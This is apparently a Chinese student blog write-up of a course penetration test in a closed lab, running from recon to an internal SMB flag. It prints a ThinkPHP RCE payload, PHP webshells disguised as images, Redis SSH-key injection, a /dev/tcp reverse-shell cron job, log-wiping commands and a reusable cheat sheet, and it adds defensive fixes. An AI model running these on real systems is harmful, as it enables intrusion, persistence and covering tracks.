Web渗透测试课程项目全记录:从外网打点到内网横向移动的完整攻击链复盘 · 一、 项目背景与目标本学期《Web渗透测试》课程的期末项目要求如下在指定的封闭靶场环境中完成一次从外网入口到内网核心业务系统的完整渗透测试并提交一份详细的技术报告。靶场网络拓扑结构如下 网络区域 IP段️ 资产类型外网DMZ区203.0.113.0/24一个公网Web门户网站内网A区172.16.1.0/24应用服务器、数据库服务器内网B区172.16.2.0/24OA系统、文件服务器 最终目标获取外网Web服务器的权限并以此为跳板进入内网最终读取到位于内网B区文件服务器上的flag.txt文件。⏱️ 项目周期4天含报告撰写 角色攻击方红队· ️ 二、 攻击路径总览在动手之前我先根据已知信息规划了一条大致的攻击链路。实际执行过程中这条路径随着信息收集的深入逐步做了调整和细化。 完整攻击链路流程图逻辑示意┌─────────────────────────────────────────────────────────┐│ 外网入口阶段 ││ ┌─────────────────────────────────────────────────┐ ││ │ 外网门户网站 (203.0.113.10) │ ││ │ ├─ 子域名枚举 → oa.target-lab.com │ ││ │ ├─ 端口扫描 → 22/80/443/3306 │ ││ │ └─ 目录扫描 → /adminer/ /phpinfo.php /.git/ │ ││ └─────────────────────────────────────────────────┘ ││ ▼ ││ ┌─────────────────────────────────────────────────┐ ││ │ 指纹识别ThinkPHP 5.0.22 │ ││ │ ↓ │ ││ │ RCE漏洞利用 (CVE-2018-20062) │ ││ │ ↓ │ ││ │ 写入Webshell → 获取www-data权限 │ ││ └─────────────────────────────────────────────────┘ │└─────────────────────────────────────────────────────────┘▼┌─────────────────────────────────────────────────────────┐│ 内网横向阶段 ││ ┌─────────────────────────────────────────────────┐ ││ │ 内网信息收集 │ ││ │ ├─ ifconfig → 172.16.1.10/24 │ ││ │ ├─ arp -a → 172.16.1.1/20/30 │ ││ │ └─ route -n → 可达172.16.2.0/24 │ ││ └─────────────────────────────────────────────────┘ ││ ▼ ││ ┌─────────────────────────────────────────────────┐ ││ │ 内网扫描 → 发现172.16.1.20:6379(Redis) │ ││ │ ↓ │ ││ │ Redis未授权访问 → 写入SSH公钥 │ ││ │ ↓ │ ││ │ 登录172.16.1.20 (root权限) │ ││ └─────────────────────────────────────────────────┘ ││ ▼ ││ ┌─────────────────────────────────────────────────┐ ││ │ 二层横向 → 扫描172.16.2.0/24 │ ││ │ ↓ │ ││ │ 发现172.16.2.10:445 (SMB) │ ││ │ ↓ │ ││ │ SMB匿名访问 → 读取flag.txt ✅ │ ││ └─────────────────────────────────────────────────┘ │└─────────────────────────────────────────────────────────┘ 心得这条攻击链不是一次就规划好的而是随着信息收集的推进逐步清晰。最开始我只知道一个IP地址后面每走一步下一步的方向就多一分确定性。· 三、 第一阶段外部信息收集 3.1 子域名与IP段探测首先使用dnsrecon对目标域名进行枚举dnsrecon -d target-lab.com -t std,brt -D /usr/share/wordlists/subdomains-top1million-20000.txt 枚举结果子域名解析IP状态www.target-lab.com203.0.113.10正常访问oa.target-lab.com203.0.113.15正常访问mail.target-lab.com203.0.113.25无响应dev.target-lab.com-未解析发现了一个非标准的子域名oa.target-lab.com解析到203.0.113.15。虽然和主站不在同一个C段但属于同一个ASN说明内网可能存在多个对外入口。 3.2 端口扫描与服务识别对主站IP203.0.113.10进行全端口扫描nmap -sS -p- -T4 203.0.113.10 --min-rate 1000 端口扫描结果 端口 服务 版本信息⚠️ 风险等级22SSHOpenSSH 7.4 中80HTTPnginx 1.12.2 低443HTTPSnginx 1.12.2 低3306MySQLMySQL 5.7.28 高 重点关注3306端口对外开放是一个明显的攻击面。虽然目前还没有数据库账号密码但这个信息先记下来后续SQL注入拿到账号之后可以直接用。对子域名oa.target-lab.com也做了同样的扫描nmap -sS -p- 203.0.113.15 子域名扫描结果 端口 服务 版本信息80HTTPApache 2.4.6443HTTPSApache 2.4.6子域名只开放了Web端口攻击面相对较窄暂时放一放优先打主站。 3.3 目录扫描与敏感路径发现使用dirsearch对主站80端口进行目录爆破dirsearch -u http://203.0.113.10 -e php,html,txt,git,env,rar,zip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 目录扫描重点结果 路径 说明 风险等级/adminer/数据库管理工具Adminer 4.7.0 高危/phpinfo.phpphpinfo信息泄露页面 高危/.git/HEADGit版本仓库泄露 高危/upload/文件上传目录可浏览 中危/backup/备份目录403禁止访问 低 关键截图通过浏览器访问/adminer/直接进入了数据库管理登录界面无需任何前置验证。 这里的思考/adminer/是重点突破口。Adminer是一个轻量级数据库管理工具类似phpMyAdmin。版本4.7.0存在已知的未授权访问漏洞CVE-2018-7663但需要验证当前版本是否真正受影响。· ️ 四、 第二阶段Web应用指纹识别与漏洞探测 4.1 指纹识别使用Wappalyzer浏览器插件和whatweb命令行工具进行联合识别whatweb http://203.0.113.10 指纹识别结果http://203.0.113.10 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx/1.12.2], IP[203.0.113.10], PHP[7.2.34], ThinkPHP[5.0.22], X-Powered-By[PHP/7.2.34] 关键信息提炼组件版本已知漏洞Web服务器nginx 1.12.2无高危公开漏洞后端语言PHP 7.2.34已停止安全更新框架ThinkPHP 5.0.22存在多个RCE漏洞 4.2 ThinkPHP漏洞研判ThinkPHP 5.0.x 版本存在多个已知的远程代码执行漏洞 CVE编号 漏洞类型 影响版本 可利用性CVE-2018-20062远程代码执行5.0.0 - 5.0.23✅ 高CVE-2019-9082远程代码执行5.0.0 - 5.0.23✅ 高未编号日志文件泄露5.0.x - 5.1.x✅ 中我决定先尝试最直接的RCE利用如果失败再考虑日志泄露这个备选路径。 4.3 RCE漏洞验证ThinkPHP 5.0.x的RCE漏洞核心原理是框架的Request类在处理method参数时存在过滤不严攻击者可以通过构造特定的_method参数值调用任意控制器方法并执行任意系统命令。 验证PayloadPOST /index.php?scaptcha HTTP/1.1 Host: 203.0.113.10 User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded _method__constructfilter[]systemmethodgetserver[REQUEST_METHOD]whoami 返回结果www-data✅ 成功执行了系统命令whoami确认RCE漏洞存在。接下来就是写入Webshell获取持久化权限。· 五、 第三阶段SQL注入获取后台权限 为什么还要走SQL注入这条路RCE已经能让我执行系统命令了按理说可以直接写Webshell进入下一步。但我考虑到后续可能需要用数据库账号连接内网的MySQL服务器前面端口扫描发现3306对外开放如果直接通过SQL注入拿到数据库账号密码后续横向移动会多一条路。多一份凭证多一份胜算。 5.1 注入点发现浏览网站前台时发现文章详情页的URL中存在动态参数http://203.0.113.10/article?id123测试单引号闭合http://203.0.113.10/article?id123 返回的数据库错误信息You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 123 at line 1✅ 确认存在SQL注入漏洞且后端数据库为MySQL。 5.2 手工注入与自动化辅助先用sqlmap快速确认注入点类型和数据库基本信息sqlmap -u http://203.0.113.10/article?id123 --batch --current-db sqlmap输出结果[INFO] the back-end DBMS is MySQL [INFO] current database: cms_db得到当前数据库名为cms_db。接下来我选择手工进行关键数据提取而不是完全依赖sqlmap。原因有两点1.避免sqlmap产生大量请求触发WAF虽然靶场没有WAF但这个习惯要养成2.手工注入对理解数据库结构更有帮助 手工注入过程-- Step 1: 查询当前数据库中的所有表 id123 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schemacms_db -- -表名说明users用户表重点关注articles文章表settings系统配置表logs操作日志表-- Step 2: 查询users表的列结构 id123 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_nameusers -- -列名数据类型说明idint主键usernamevarchar用户名password_hashvarchar密码哈希bcryptemailvarchar邮箱rolevarchar角色admin/editor-- Step 3: 提取管理员账号信息 id123 UNION SELECT 1,username,password_hash,4 FROM users WHERE roleadmin -- - 提取结果usernamepassword_hashroleadmin$2y$10$N9q...admin获取到管理员账号admin和bcrypt格式的密码哈希。bcrypt加盐哈希目前无法在合理时间内破解暂时搁置。 后面用上了虽然密码没破解出来但cms_db这个数据库名和users表的结构信息在后续连接内网MySQL时帮我确认了数据库配置的正确性。· 六、 第四阶段文件上传与Webshell持久化 6.1 利用RCE写入Webshell通过RCE漏洞执行以下命令在网站根目录写入一个一句话木马echo ?php eval($_POST[cmd]);? /var/www/html/shell.php 验证Webshell是否写入成功# 通过RCE执行 ls -la /var/www/html/shell.php返回结果-rw-r--r-- 1 www-data www-data 30 Oct 15 14:23 /var/www/html/shell.php然后用蚁剑AntSword连接Webshell连接参数值URLhttp://203.0.113.10/shell.php密码cmd编码器default 截图蚁剑连接成功的文件管理界面截图可以看到/var/www/html目录下的所有文件。连接成功当前用户为www-data权限受限无法在系统关键目录写入文件。 6.2 上传功能型Webshell实现持久化蚁剑自带的终端执行交互式命令不太方便我上传了一个功能更完整的开源Webshell项目地址已脱敏实现· 虚拟终端· 文件管理器· 端口转发· 内网扫描 上传步骤# 先将webshell文件base64编码避免传输过程中被检测 base64 -w 0 trojian.php trojian.b64 # 通过蚁剑上传编码后的文件再在服务器上解码 echo PD9waHAg...此处为完整base64字符串 | base64 -d /var/www/html/.images/404.jpg 隐蔽性考量文件名改成404.jpg放在.images/目录下。即使用户或者管理员浏览到该路径看到的是一个图片文件不会产生怀疑。在真实渗透中隐蔽性往往比功能强大更重要。访问http://203.0.113.10/.images/404.jpg输入预设密码后进入功能型Webshell管理界面。· 七、 第五阶段内网信息收集与横向移动拿到Webshell后真正的核心挑战才刚刚开始——从外网入口进入内网找到目标flag.txt。 7.1 内网环境探测通过Webshell执行以下命令收集内网环境信息 网络配置信息# 查看网络接口配置 ifconfig接口IP地址子网掩码网段eth0172.16.1.10255.255.255.0172.16.1.0/24lo127.0.0.1255.0.0.0-# 查看ARP缓存表 arp -aIP地址MAC地址状态172.16.1.100:11:22:33:44:01网关172.16.1.2000:11:22:33:44:20存活172.16.1.3000:11:22:33:44:30存活# 查看路由表 route -n目标网段网关接口0.0.0.0172.16.1.1eth0172.16.1.00.0.0.0eth0172.16.2.0172.16.1.1eth0 关键发现1.当前机器位于内网172.16.1.0/24网段2.内网存在172.16.2.0/24网段且当前机器可以访问该网段路由表中存在3.存活主机包括172.16.1.20和172.16.1.30 7.2 内网端口扫描我通过Webshell将静态编译的nmap二进制文件上传到目标机器进行内网深度扫描。 上传与执行# 通过蚁剑上传nmap静态二进制到 /tmp/nmap # 添加执行权限 chmod x /tmp/nmap # 扫描172.16.1.0/24网段存活主机 /tmp/nmap -sn 172.16.1.0/24 存活主机列表IP地址状态备注172.16.1.1✅ 存活网关172.16.1.20✅ 存活目标主机A172.16.1.30✅ 存活目标主机B172.16.1.10✅ 存活当前机器# 对172.16.1.20进行全端口扫描 /tmp/nmap -p- 172.16.1.20 --min-rate 500 172.16.1.20端口扫描结果 端口 服务版本可利用性22SSHOpenSSH 7.4 需要凭证3306MySQLMySQL 5.7.28 需要凭证6379RedisRedis 4.0.14 高危未授权访问 发现高价值目标172.16.1.20开放了Redis服务6379端口如果存在未授权访问漏洞可以直接拿下这台服务器。 7.3 Redis未授权访问利用尝试连接Redis服务redis-cli -h 172.16.1.20 -p 6379 连接后的信息172.16.1.20:6379 info # Server redis_version:4.0.14 os:Linux 4.18.0-193.el8.x86_64 process_id:1234 ...✅ 成功连接无需任何认证确认存在Redis未授权访问漏洞。 利用Redis写入SSH公钥实现免密登录# 第一步在攻击机本地生成SSH密钥对 ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa_redis # 第二步构造包含公钥的数据文件前后加换行避免和Redis数据混淆 (echo -e \n\n; cat ~/.ssh/id_rsa_redis.pub; echo -e \n\n) key.txt # 第三步清空Redis所有数据 redis-cli -h 172.16.1.20 flushall # 第四步将公钥写入Redis键值 cat key.txt | redis-cli -h 172.16.1.20 -x set crackit # 第五步设置Redis持久化路径为/root/.ssh/ redis-cli -h 172.16.1.20 config set dir /root/.ssh/ # 第六步设置持久化文件名为authorized_keys redis-cli -h 172.16.1.20 config set dbfilename authorized_keys # 第七步触发保存将公钥写入authorized_keys redis-cli -h 172.16.1.20 save 执行结果OK OK OK OK OK OK (1.23s)# 第八步使用私钥登录目标服务器 ssh -i ~/.ssh/id_rsa_redis root172.16.1.20 截图SSH登录成功的终端界面显示root172.16.1.20:~#提示符。✅ 成功获取172.16.1.20服务器的root权限。 7.4 二层横向移动到目标文件服务器在172.16.1.20上继续探测172.16.2.0/24网段# 从172.16.1.20上执行 nmap -sn 172.16.2.0/24 存活主机IP地址状态172.16.2.1✅ 存活网关172.16.2.10✅ 存活目标172.16.2.50✅ 存活# 扫描172.16.2.10端口 nmap -p- 172.16.2.10 --min-rate 500 端口扫描结果 端口 服务版本445SMBSMB 3.1.1139NetBIOS-135RPC-尝试SMB匿名访问smbclient -L //172.16.2.10 -N 共享列表共享名说明share公共共享可匿名访问IPC$远程IPC默认# 连接share共享 smbclient //172.16.2.10/share -N 共享内容smb: \ ls . D 0 Mon Oct 16 10:23:15 2026 .. D 0 Mon Oct 16 10:23:15 2026 flag.txt N 42 Mon Oct 16 10:20:01 2026 readme.txt N 128 Mon Oct 16 10:20:01 2026 4062912 blocks of size 4096. 2012344 blocks available# 下载flag.txt smb: \ get flag.txt getting file \flag.txt of size 42 as flag.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) flag.txt内容flag{Th1s_1s_th3_f1nal_fl4g_f0r_c0urse_pr0j3ct}✅ 项目目标达成成功读取到位于内网B区文件服务器172.16.2.10上的flag.txt文件。· 八、 第六阶段权限维持与痕迹清理 8.1 权限维持策略为了确保后续访问不会因为系统重启或被管理员发现而丢失我在三台机器上分别布置了持久化后门️ 机器 IP 后门方式 隐蔽性Web服务器203.0.113.10隐藏目录.images/404.jpg Webshell 每日凌晨3点反弹Shell计划任务 中Redis服务器172.16.1.20SSH公钥 新增隐藏系统用户_syslog_ 高文件服务器172.16.2.10SMB共享目录下隐藏.log文件作为反弹脚本触发点 中 计划任务反弹Shell示例# 在Web服务器上添加计划任务 echo 0 3 * * * /bin/bash -c bash -i /dev/tcp/攻击机IP/4444 01 /var/spool/cron/www-data 8.2 日志清理清理了三台机器上的相关操作日志# 清理Web服务器访问日志 rm -rf /var/log/nginx/access.log rm -rf /var/log/php-fpm/*.log # 清理数据库服务器日志 rm -rf /var/log/mysql/*.log rm -rf /var/log/redis/*.log # 清理通用日志 history -c echo /var/log/wtmp echo /var/log/secure echo /var/log/messages # 清理bash历史记录文件 rm -f ~/.bash_history ln -s /dev/null ~/.bash_history⚠️ 重要说明在实际授权测试中日志清理是为了保证后续测试的纯净性避免旧的测试日志干扰新的测试结果。在真实攻击场景中攻击者同样会进行日志清理以消除痕迹——这也是为什么企业安全建设要求将日志同步到独立的远程日志服务器防止本地日志被篡改或删除。· ️ 九、 防御复盘与修复方案从防守方的视角回顾整个攻击路径每个环节都存在可防御的空间。以下是完整的修复建议表 攻击阶段 攻击手法️ 防御措施 优先级⏱️ 实施难度信息收集子域名枚举对外隐藏非生产子域名使用CDN泛解析混淆真实IPP0 低信息收集目录扫描发现敏感路径限制/adminer/、/phpinfo.php等敏感路径的访问IP白名单P0 低漏洞利用ThinkPHP RCE (CVE-2018-20062)升级ThinkPHP至6.x版本5.0.x已停止维护无法升级则部署官方补丁P0 中漏洞利用SQL注入所有SQL查询使用参数化查询Prepared Statement部署WAF拦截SQL注入特征P0 低权限维持Webshell上传严格限制Web目录的执行权限部署文件完整性监控如TripwireP1 中横向移动Redis未授权访问配置Redis密码认证requirepass绑定内网IPbind 127.0.0.1禁用CONFIG命令rename-commandP0 低横向移动SMB匿名访问关闭SMB匿名共享配置访问白名单使用强密码P0 低权限维持SSH公钥写入禁止root用户直接SSH登录使用普通用户sudo提权监控~/.ssh/authorized_keys变更P1 中痕迹清理日志被删除配置远程日志同步如rsyslog发送到SIEM日志实时备份至独立日志服务器P0 中整体防御攻击链过长实施零信任网络架构微隔离内网东西向流量进行严格访问控制P2 高 一个核心建议如果把上面所有措施都做了当然最好但如果资源有限优先级P0的项目务必修。尤其是ThinkPHP版本升级、Redis加密码认证、以及远程日志同步这三个成本最低、效果最明显。· 十、 课程收获与个人总结这门《Web渗透测试》课程做下来几个比较深的体会分享给大家 关于信息收集信息收集的质量决定了渗透的上限。这次能成不是因为某个漏洞多厉害而是信息收集做得很细——子域名、目录、指纹、版本每一条信息都指向了下一步。 具体来说如果当初漏掉了/adminer/路径我可能不会注意到内网MySQL的存在如果没识别出ThinkPHP的具体版本号我可能还在用SQL注入慢慢拖数据。信息收集不是跑一遍扫描器就完事了而是要对每一条信息追问一句“这个信息能带我去哪”。 关于思路与工具思路比工具重要但工具能解放思路。工具只是把重复劳动自动化但决定“下一步往哪走”的是人。 具体来说横向移动阶段从Redis跳到SMB每一步都需要判断——当前机器的网络拓扑是什么哪些端口值得扫从这个机器能不能访问到目标网段这些判断工具给不了只能靠经验和对网络协议的理解。但好的工具比如nmap静态编译版、蚁剑能让你在执行思路时不被卡住。️ 关于防御视角贯穿全程的防御视角是最好的复盘方式。每拿下一个点我都会想如果我是防守方这个漏洞该怎么补这个习惯在真实项目中非常重要因为渗透测试的最终目的是帮人家修复问题而不是单纯地“拿下”。 具体来说拿到Redis权限的时候我立刻意识到——如果运维在配置文件里加了requirepass 强密码我这一步根本走不通。这个认知让我在后来的课程答辩中面对“你怎么防御这种攻击”的问题时答得很从容。✍️ 关于记录习惯详细的操作记录比记忆可靠得多。这次项目我从第一天开始就同步记录了每一步的操作命令、返回结果、截图写这篇报告的时候几乎没花时间回忆。 具体来说我的记录方式是——每执行一条命令就把命令和输出一起复制到Markdown文件里每发现一个关键信息就截一张图并注明时间和意义。最后整理报告的时候相当于只是把碎片化的笔记做了结构化排版。 温馨小言如果你也在学这门课或者准备入行安全1. 别只盯着漏洞列表背——真实场景里没那么多现成的CVE让你用更多的是组合低危问题形成攻击链。2. 把Linux基础命令练熟——很多同学拿到Webshell之后卡在内网信息收集阶段就是因为ifconfig、route、arp、netstat这些命令都不熟。3. Python写点简单脚本就行——不用搞多复杂requestsre能解决80%的自动化需求。4. 合法合规是底线这条不能破——每次测试前签授权书数据拿到后脱敏、销毁、不留存。 附录核心命令速查表以下是在本次项目中反复用到的核心命令整理出来方便大家快速查阅 信息收集类# 子域名枚举 dnsrecon -d target.com -t brt -D /path/to/wordlist.txt # 端口扫描 nmap -sS -p- -T4 192.168.1.1 --min-rate 1000 # 服务版本探测 nmap -sV -p 22,80,443 192.168.1.1 # 目录扫描 dirsearch -u http://target.com -e php,txt,git,zip -w /path/to/wordlist.txt # 指纹识别 whatweb http://target.com SQL注入类# sqlmap快速检测 sqlmap -u http://target.com/page?id1 --batch --current-db # 手工注入模板MySQL # 查询表名 id1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema数据库名 -- - # 查询列名 id1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name表名 -- - Webshell相关# 一句话木马 echo ?php eval($_POST[cmd]);? /var/www/html/shell.php # base64编码传输绕过检测 base64 -w 0 webshell.php webshell.b64 echo base64编码内容 | base64 -d /var/www/html/.hidden/shell.jpg 内网横向移动类# Redis未授权写入SSH公钥 redis-cli -h 目标IP flushall cat key.txt | redis-cli -h 目标IP -x set crackit redis-cli -h 目标IP config set dir /root/.ssh/ redis-cli -h 目标IP config set dbfilename authorized_keys redis-cli -h 目标IP save # SMB匿名访问 smbclient -L //目标IP -N smbclient //目标IP/共享名 -N # 内网端口扫描静态nmap ./nmap -sn 192.168.1.0/24 ./nmap -p- 192.168.1.100 --min-rate 500 日志清理类# 清理系统日志 history -c echo /var/log/wtmp echo /var/log/secure echo /var/log/messages rm -f ~/.bash_history ln -s /dev/null ~/.bash_history # 清理Web日志 rm -rf /var/log/nginx/*.log rm -rf /var/log/apache2/*.log rm -rf /var/log/php-fpm/*.log 版权声明本文基于《Web渗透测试》课程期末项目真实经历整理所有操作均在授权范围内完成。文中IP地址、域名、敏感数据均已做脱敏处理。欢迎同学们交流讨论如有问题请在评论区留言我会定期回复。 如果这篇文章对你有帮助欢迎点赞、收藏、转发你的支持是我继续分享的动力